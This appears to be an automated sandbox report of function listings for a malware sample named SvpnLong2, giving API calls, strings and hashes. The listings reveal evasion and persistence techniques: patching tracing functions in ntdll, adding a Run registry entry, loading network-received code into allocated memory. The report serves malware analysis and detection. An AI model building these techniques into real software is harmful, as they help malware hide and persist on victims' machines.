Opcode ID: aeecf57926a0907ca17229a9c82242ae1fd1e275eda25540f618eb02085ef38f
Instruction ID: ced6f5adc8d8ca3e5f57aba95d8acc662bcb6727146c1b0ab1d9fb9c91453858
Opcode Fuzzy Hash: aeecf57926a0907ca17229a9c82242ae1fd1e275eda25540f618eb02085ef38f
Instruction Fuzzy Hash: 19717076228A8095DB20CB15F84879FB765FB89BD4F845112EE9E43B68DF3CC589CB40

Function 02144530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0214455D
GetProcAddress.KERNEL32 ref: 0214456D
LoadLibraryA.KERNEL32 ref: 0214459E
GetProcAddress.KERNEL32 ref: 021445AE
VirtualProtect.KERNELBASE ref: 021445CF
VirtualProtect.KERNELBASE ref: 021445E7
lstrcpy.KERNEL32 ref: 02144603
CloseHandle.KERNEL32 ref: 02144640
FindCloseChangeNotification.KERNELBASE ref: 02144665
CreateThread.KERNELBASE ref: 021446F7
WaitForSingleObject.KERNEL32 ref: 02144706
CloseHandle.KERNEL32 ref: 0214470F

Strings

NtTerminateThread, xrefs: 02144563
driver, xrefs: 0214467B
NtTraceEvent, xrefs: 021445A4
ntdll.dll, xrefs: 0214454E, 02144587
Mov, xrefs: 02144715
run, xrefs: 0214466B

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CloseHandle$AddressProcProtectVirtual$ChangeCreateFindLibraryLoadModuleNotificationObjectSingleThreadWaitlstrcpy
String ID: Mov$NtTerminateThread$NtTraceEvent$driver$ntdll.dll$run
API String ID: 1569784174-2918648053
Opcode ID: 79e0b89fa8709a1075fb0f61bc50992c8261800b229712dc092eca227e9007b5
Instruction ID: f6a51baf48dc2598567da8a5dce88e8d025c1c45e9e4bd683fc00e25b56f2224
Opcode Fuzzy Hash: 79e0b89fa8709a1075fb0f61bc50992c8261800b229712dc092eca227e9007b5
Instruction Fuzzy Hash: AE51BF31618A8586EB20EF21F85C3AE7761F7A9B94F844116DE9E47BA4DF3CC049CB40

Function 02150180 Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 568
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memchr.LIBCMT ref: 02150354
memchr.LIBCMT ref: 0215037D
rand.LIBCMT ref: 021504E2
CreateDirectoryA.KERNELBASE ref: 0215054E
rand.LIBCMT ref: 021507D1

Strings

https://, xrefs: 02150281
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 02150932
C:\ProgramData\, xrefs: 02150253
run, xrefs: 02150986

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: memchrrand$CreateDirectory
String ID: C:\ProgramData\$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$https://$run
API String ID: 578666947-266329106
Opcode ID: f6bf94cdbec4f9bc124516fecee6f18d04faa44e44032b6b1f170519f1d01af4
Instruction ID: 044493719c2c60010094377f28ed050688516a1fa8d1fa562f2a9f97efcfdd01
Opcode Fuzzy Hash: f6bf94cdbec4f9bc124516fecee6f18d04faa44e44032b6b1f170519f1d01af4
Instruction Fuzzy Hash: CA427532240BD4CEEB209F75D8543DA27A2F7497A8F441666DEBE4BA99DF74C284C340

Function 021574B8 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 292
timeCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_lock.LIBCMT ref: 021574E3

Part of subcall function 02159B98: _amsg_exit.LIBCMT ref: 02159BC2

_get_daylight.LIBCMT ref: 021574F9

Part of subcall function 02158254: _errno.LIBCMT ref: 0215825D
Part of subcall function 02158254: _invalid_parameter_noinfo.LIBCMT ref: 02158268

_get_daylight.LIBCMT ref: 0215750E

Part of subcall function 021581F4: _errno.LIBCMT ref: 021581FD
Part of subcall function 021581F4: _invalid_parameter_noinfo.LIBCMT ref: 02158208

_get_daylight.LIBCMT ref: 02157523

Part of subcall function 02158224: _errno.LIBCMT ref: 0215822D
Part of subcall function 02158224: _invalid_parameter_noinfo.LIBCMT ref: 02158238

___lc_codepage_func.LIBCMT ref: 02157530

Part of subcall function 0215C9F0: _getptd.LIBCMT ref: 0215C9F4

Part of subcall function 02158B10: __wtomb_environ.LIBCMT ref: 02158B40

free.LIBCMT ref: 021575A1

Part of subcall function 02153D28: HeapFree.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D3E
Part of subcall function 02153D28: _errno.LIBCMT ref: 02153D48
Part of subcall function 02153D28: GetLastError.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D50

free.LIBCMT ref: 0215760A
GetTimeZoneInformation.KERNELBASE(?,?,?,?,00000000,?,00000032,00000000,00000000,02157EDE,?,?,?,?,0215397E), ref: 0215761D
WideCharToMultiByte.KERNEL32(?,?,?,?,00000000,?,00000032,00000000,00000000,02157EDE,?,?,?,?,0215397E), ref: 021576D3
WideCharToMultiByte.KERNEL32(?,?,?,?,00000000,?,00000032,00000000,00000000,02157EDE,?,?,?,?,0215397E), ref: 02157726

Strings

Eastern Standard Time, xrefs: 021576C8
Eastern Summer Time, xrefs: 0215771B

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$ByteCharMultiWidefree$ErrorFreeHeapInformationLastTimeZone___lc_codepage_func__wtomb_environ_amsg_exit_getptd_lock
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 2532449802-239921721
Opcode ID: 79e8b2610e90b318d09ab63c41662d0f82629d3c6b2cf475620acb6020b5bd0b
Instruction ID: dd02b35f2e54b751894b1db03d33b8340dd6db6a086d309134623d0357ba5c0e
Opcode Fuzzy Hash: 79e8b2610e90b318d09ab63c41662d0f82629d3c6b2cf475620acb6020b5bd0b
Instruction Fuzzy Hash: 60B137323447E0CAEB34DF25E49576EBBA6FB84784F4441A58FA947BA4DB38C452CB00

Function 01428C09 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 251
networkmemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 01428C9E
connect.WS2_32 ref: 01428D05
send.WS2_32 ref: 01428D1B
recv.WS2_32 ref: 01428D45
NtAllocateVirtualMemory.NTDLL ref: 01428D7E
NtAllocateVirtualMemory.NTDLL ref: 01428DC7
recv.WS2_32 ref: 01428DE0
closesocket.WS2_32 ref: 01428E20

Strings

@, xrefs: 01428D9A

Memory Dump Source

Source File: 00000000.00000002.3528449006.0000000001428000.00000040.00000020.00020000.00000000.sdmp, Offset: 01428000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1428000_SvpnLong2.jbxd

Similarity

API ID: AllocateMemoryVirtualrecv$closesocketconnectsendsocket
String ID: @
API String ID: 2164595095-2766056989
Opcode ID: d02d8cd15c434e5a1b9653517dbeac564e095853a7279387c040ba68fece17d7
Instruction ID: 84a2e2767b8d984b9cf3d6ae4f08b1b805619e23eaa9c59fe8c3cd6ef7ff7550
Opcode Fuzzy Hash: d02d8cd15c434e5a1b9653517dbeac564e095853a7279387c040ba68fece17d7
Instruction Fuzzy Hash: D9710230208B584FDB69EF2888897BDB7E1FF99310F50466ED58EC7262DE31D5468B81

Function 02141E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 02141ED5
GetCurrentThreadId.KERNEL32 ref: 02141EE5
VirtualAlloc.KERNEL32 ref: 02141F6D
VirtualFree.KERNEL32 ref: 02141FA7
VirtualAlloc.KERNEL32 ref: 0214200F
VirtualFree.KERNEL32 ref: 02142049
VirtualAlloc.KERNEL32 ref: 021420BC
VirtualFree.KERNEL32 ref: 021420F6
GetCurrentThreadId.KERNEL32 ref: 02142173

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Virtual$AllocFree$CurrentThread$Sleep
String ID:
API String ID: 2090942847-0
Opcode ID: 19684a6e57f34190d6087524b5c43d20b184ee03852d5742e64a789b41b5f1b3
Instruction ID: 49e5c03b4f2f851bc8d3c4b1a479799eee1ee9d9bc8fc0e4f20360b0c8e0b873
Opcode Fuzzy Hash: 19684a6e57f34190d6087524b5c43d20b184ee03852d5742e64a789b41b5f1b3
Instruction Fuzzy Hash: A2918E32341B80ABD71DDB2AD2543AD77A1F745B84F048229EB4A97B14DF38E4B6CB40

Function 021421C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32 ref: 02142255
recv.WS2_32 ref: 02142274
_errno.LIBCMT ref: 02142280
_errno.LIBCMT ref: 0214228A
_errno.LIBCMT ref: 02142297
setsockopt.WS2_32 ref: 021422FF
CancelIo.KERNEL32 ref: 02142309
closesocket.WS2_32 ref: 02142319
SetEvent.KERNEL32 ref: 02142326

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$CancelEventclosesocketrecvselectsetsockopt
String ID:
API String ID: 2233327707-0
Opcode ID: 59aaeff1b6b53f13297a7ebb6f1aa5ebf3c58f84c90315e3a595d7b0aae07e94
Instruction ID: 8c882ca87bc8ec78beb03633ed42e053ed42486c6fac27b56cb6c4ce36e50aa7
Opcode Fuzzy Hash: 59aaeff1b6b53f13297a7ebb6f1aa5ebf3c58f84c90315e3a595d7b0aae07e94
Instruction Fuzzy Hash: D2419E32248A80C5E7709F75E4487AE7761F78AB98F540266EFAD47B98CF38C484CB10

Function 01E50020 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL ref: 01E5011F

Strings

@, xrefs: 01E500ED
XVXT, xrefs: 01E5042B

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID: @$XVXT
API String ID: 2167126740-4063696373
Opcode ID: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction ID: 88aab02955cb682d115155c0bb929586d6163422795699a6ebd21603b80885c7
Opcode Fuzzy Hash: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction Fuzzy Hash: 1DD1BE30618A0D8FDB99DF5CD884ABABBE1FF59345F14516DF84AC7252DA30E846CB80

Function 0214FCF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0215004E
WriteFile.KERNELBASE ref: 02150102
CloseHandle.KERNEL32 ref: 0215011A

Strings

GET, xrefs: 0214FE9E

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: GET
API String ID: 1065093856-1805413626
Opcode ID: 9bfc2daac623cec0f93185177d9ceb806b0c5d1e249a2493aa0c2b4418b8bc6c
Instruction ID: 17b0efc90a8ba75f09d0d4835a0586fee308d631be21b610a805f36de26c1a07
Opcode Fuzzy Hash: 9bfc2daac623cec0f93185177d9ceb806b0c5d1e249a2493aa0c2b4418b8bc6c
Instruction Fuzzy Hash: ADC19632254B50C6EB24EB25F85875E37B2F796B98F505615CFAA07BA4CF39C098C780

Function 01E50091 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 296memorylibrarynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 01E5011F
LdrLoadDll.NTDLL ref: 01E502D8

Strings

@, xrefs: 01E500ED

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: AllocateLoadMemoryVirtual
String ID: @
API String ID: 582251630-2766056989
Opcode ID: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction ID: 6b64eb9fa291f64389c1e1580ca92a88ba954a6f289fc5354bf32e18305ed1ab
Opcode Fuzzy Hash: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction Fuzzy Hash: DA91BB30614A498FCB69DF5CD894ABDBBE1FF69305F1452ADF84AC7252DA30D846CB80

Function 021583F4 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 0215840A
GetVersion.KERNEL32 ref: 0215841C
HeapSetInformation.KERNEL32 ref: 0215843A

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction ID: 7ed7b143437ad9a94a726fbb5b4b030d57b0a74228103c574851bd90f88374c0
Opcode Fuzzy Hash: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction Fuzzy Hash: 40E0DF38712E9082FB855B24E80D7A93220FB98344F811418EE0A027A4DF3CC49AC700

Function 02141BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32 ref: 02141C2D
timeGetTime.WINMM ref: 02141C3F
socket.WS2_32 ref: 02141C66
gethostbyname.WS2_32 ref: 02141C80
htons.WS2_32 ref: 02141C97
connect.WS2_32 ref: 02141CBB
getsockname.WS2_32 ref: 02141CE3
inet_ntop.WS2_32 ref: 02141D11
setsockopt.WS2_32 ref: 02141D39
setsockopt.WS2_32 ref: 02141D61
setsockopt.WS2_32 ref: 02141D89
setsockopt.WS2_32 ref: 02141DAD
WSAIoctl.WS2_32 ref: 02141DF8

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: setsockopt$EventIoctlResetTimeconnectgethostbynamegetsocknamehtonsinet_ntopsockettime
String ID:
API String ID: 4102826399-0
Opcode ID: 663f528104f19cf5e1219628965ca893e9f6d5954b84013dc55909708e254800
Instruction ID: eac0efa406c025392069f14b97034c441f9bd1f118c030178a1df97c92495ddb
Opcode Fuzzy Hash: 663f528104f19cf5e1219628965ca893e9f6d5954b84013dc55909708e254800
Instruction Fuzzy Hash: 99614672700A41AAE720DFA5E4487DD37A2F748798F00422AEF5D57BA8DF78C169CB44

Function 02144430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClassExA.USER32 ref: 02144476
GetModuleHandleA.KERNEL32 ref: 0214448E
CreateWindowExA.USER32 ref: 021444D0
GetMessageA.USER32 ref: 021444E8
TranslateMessage.USER32 ref: 021444FC
DispatchMessageA.USER32 ref: 02144507
GetMessageA.USER32 ref: 0214451A

Strings

QjNy1jwRYuH6aNtMf3Jz, xrefs: 02144457

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Message$ClassCreateDispatchHandleModuleRegisterTranslateWindow
String ID: QjNy1jwRYuH6aNtMf3Jz
API String ID: 3848795541-3621823610
Opcode ID: 025900ca7ea43d8d79a465b25f9ebb2d43cdc0a8efedc9b901d28f077aa14ed0
Instruction ID: 2abf82e2940636e053f66fde906cd2b0db69d025c078a5a9299b1daf2d5ae1d7
Opcode Fuzzy Hash: 025900ca7ea43d8d79a465b25f9ebb2d43cdc0a8efedc9b901d28f077aa14ed0
Instruction Fuzzy Hash: A6215036614A8182EB20CF64F85C79E77A5F794768F95422AE6AD43EA4DF3CC10DCB00

Function 02150682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.LIBCMT ref: 021507D1
RegOpenKeyExA.KERNELBASE ref: 02150940
RegSetValueExA.KERNELBASE ref: 02150979
RegCloseKey.ADVAPI32 ref: 02150997

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 02150932
run, xrefs: 02150986

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CloseOpenValuerand
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$run
API String ID: 1269030272-4096352211
Opcode ID: 0c514a9bc26213b87ab28905f01e6811f2ddb43a7724479b489268cc0572c3b3
Instruction ID: 698dc7f861d649b6c7245f0ae10ec9092b3c11c7df6fa3fd1e4ed919228e1173
Opcode Fuzzy Hash: 0c514a9bc26213b87ab28905f01e6811f2ddb43a7724479b489268cc0572c3b3
Instruction Fuzzy Hash: C7A15132250BD0CDE775AF74E8943D92362F3593ACF401666DEAE4BA99CF748284C780

Function 021530BC Relevance: 9.1, APIs: 6, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.LIBCMT ref: 021530E7
_invalid_parameter_noinfo.LIBCMT ref: 021530F2
_getptd.LIBCMT ref: 02153118
CreateThread.KERNELBASE ref: 0215316D
GetLastError.KERNEL32 ref: 02153178
free.LIBCMT ref: 02153183

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CreateErrorLastThread_errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 3283625137-0
Opcode ID: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction ID: ee0bab826e4ca1ac36b14a7d33c7c16134bd81bcf27e54c0cede7281c93f12a0
Opcode Fuzzy Hash: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction Fuzzy Hash: A4219331744B90CADB14EFA6E94439EB3A1FB84BE0F4446A5EEB943B94DF38C0558B00

Function 0214EB40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 021523A0: GetComputerNameA.KERNEL32 ref: 021523FF
Part of subcall function 021523A0: lstrcpy.KERNEL32 ref: 02152415
Part of subcall function 021523A0: wsprintfA.USER32 ref: 02152444

SleepEx.KERNEL32 ref: 0214EB75

Strings

driver, xrefs: 0214EB49, 0214EB7B
run, xrefs: 0214EB60

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ComputerNameSleeplstrcpywsprintf
String ID: driver$run
API String ID: 2401651887-4270002515
Opcode ID: 20af55a0a792ddad8a0b3d662374fb4cfecfde6feee429567d2bc022b4671d35
Instruction ID: a0f4b082c47f137167aef620599a1a90c02323ee4dae8e04a1cb4381fc985207
Opcode Fuzzy Hash: 20af55a0a792ddad8a0b3d662374fb4cfecfde6feee429567d2bc022b4671d35
Instruction Fuzzy Hash: B9F0C831294681C9EF309735D84839E3790F764748F4802A29D9F86EE4EF38C189CB90

Function 02143080 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Process32First.KERNEL32 ref: 021430A0
FindCloseChangeNotification.KERNELBASE ref: 02143144

Part of subcall function 021534EC: _errno.LIBCMT ref: 021534FE
Part of subcall function 021534EC: _invalid_parameter_noinfo.LIBCMT ref: 02153509

Process32Next.KERNEL32 ref: 0214311E

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Process32$ChangeCloseFindFirstNextNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 1362859326-0
Opcode ID: 9e16f7d71bb666a0a3024ac22c452917e7419aeba9a2986a714468f2fb20f4db
Instruction ID: 5ca09c54d357252daface39917812d0521a796a5ba554abf6872b62919b4c1c7
Opcode Fuzzy Hash: 9e16f7d71bb666a0a3024ac22c452917e7419aeba9a2986a714468f2fb20f4db
Instruction Fuzzy Hash: BA115E76354A50C2DB109B22B80435BF764F748FE4F594652DEAD43B98CF78C049C704

Function 0214ED81 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 02153290: malloc.LIBCMT ref: 021532AA

GetLastInputInfo.USER32 ref: 0214EDCA
GetTickCount.KERNEL32 ref: 0214EDD0
GetForegroundWindow.USER32 ref: 0214EDFE

Part of subcall function 02142F20: IsWindow.USER32 ref: 02142F37
Part of subcall function 02142F20: GetWindowThreadProcessId.USER32 ref: 02142F63
Part of subcall function 02142F20: GetCurrentProcessId.KERNEL32 ref: 02142F6B
Part of subcall function 02142F20: GetCurrentThreadId.KERNEL32 ref: 02142F77
Part of subcall function 02142F20: GetWindowTextA.USER32 ref: 02142F8D

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: ef1ee96fdab8cd02b3870dfa0c2754cec3386380ef7e32bc1c0ab7c4d6796d78
Instruction ID: fd027abb5496313aa7cfba197ee02eeac1ca1c884555503ae63f26e0d9560ba9
Opcode Fuzzy Hash: ef1ee96fdab8cd02b3870dfa0c2754cec3386380ef7e32bc1c0ab7c4d6796d78
Instruction Fuzzy Hash: 4A11E5236146808ACB44DF76F84835D6662E785B80F449525EF9A87B48DF7CC494CB40

Function 0214E907 Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 02153290: malloc.LIBCMT ref: 021532AA

GetLastInputInfo.USER32 ref: 0214EDCA
GetTickCount.KERNEL32 ref: 0214EDD0
GetForegroundWindow.USER32 ref: 0214EDFE

Part of subcall function 02142F20: IsWindow.USER32 ref: 02142F37
Part of subcall function 02142F20: GetWindowThreadProcessId.USER32 ref: 02142F63
Part of subcall function 02142F20: GetCurrentProcessId.KERNEL32 ref: 02142F6B
Part of subcall function 02142F20: GetCurrentThreadId.KERNEL32 ref: 02142F77
Part of subcall function 02142F20: GetWindowTextA.USER32 ref: 02142F8D

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: ea6bf0708d890688abba7df2adce483530c5b2e115c5a3d89cacfb2d7662814f
Instruction ID: 266b135994dbd41510713847affefc10a3d39671a17eeea5635d307bf8c9aa8f
Opcode Fuzzy Hash: ea6bf0708d890688abba7df2adce483530c5b2e115c5a3d89cacfb2d7662814f
Instruction Fuzzy Hash: 2B11AC237646808ADB44DF66F84835DA7A2F789B80F089425EF9A47B88DF78C494CB40

Function 00007FF7FC7D2750 Relevance: 4.5, APIs: 3, Instructions: 25memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 00007FF7FC7D2766
GetVersion.KERNEL32 ref: 00007FF7FC7D2781
HeapSetInformation.KERNEL32 ref: 00007FF7FC7D27AB

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
